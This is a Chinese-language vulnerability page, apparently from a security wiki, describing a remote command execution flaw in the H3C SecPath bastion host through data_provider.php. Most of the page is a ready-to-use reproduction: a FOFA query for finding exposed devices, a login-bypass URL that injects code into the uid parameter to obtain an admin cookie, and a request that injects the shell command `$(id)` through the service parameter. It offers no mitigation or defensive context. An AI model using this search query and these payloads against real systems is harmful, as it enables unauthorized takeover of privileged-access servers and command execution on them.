menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right H3C chevron_right H3C SecParh堡垒机 data_provider.php 远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    H3C SecParh堡垒机 data_provider.php 远程命令执行漏洞.md
    1.62 KB / 2021-07-04 06:01:08
        # H3C SecParh堡垒机 data_provider.php 远程命令执行漏洞
    
    ## 漏洞描述
    
    H3C SecParh堡垒机 data_provider.php 存在远程命令执行漏洞,攻击者通过任意用户登录或者账号密码进入后台就可以构造特殊的请求执行命令
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > H3C SecParh堡垒机
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > H3C SecParh堡垒机 
    
    ## FOFA
    
    > [!NOTE]
    >
    > app="H3C-SecPath-运维审计系统" && body="2018"
    
    ## 漏洞复现
    
    登录页面如下
    
    ![image-20210616132951212](http://wikioss.peiqi.tech/vuln/image-20210616132951212.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    先通过任意用户登录获取Cookie
    
    ```
    /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin
    ```
    
    ![image-20210616133356940](http://wikioss.peiqi.tech/vuln/image-20210616133356940.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    ```
    /audit/data_provider.php?ds_y=2019&ds_m=04&ds_d=02&ds_hour=09&ds_min40&server_cond=&service=$(id)&identity_cond=&query_type=all&format=json&browse=true
    ```
    
    ![image-20210616133643292](http://wikioss.peiqi.tech/vuln/image-20210616133643292.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    links
    file_download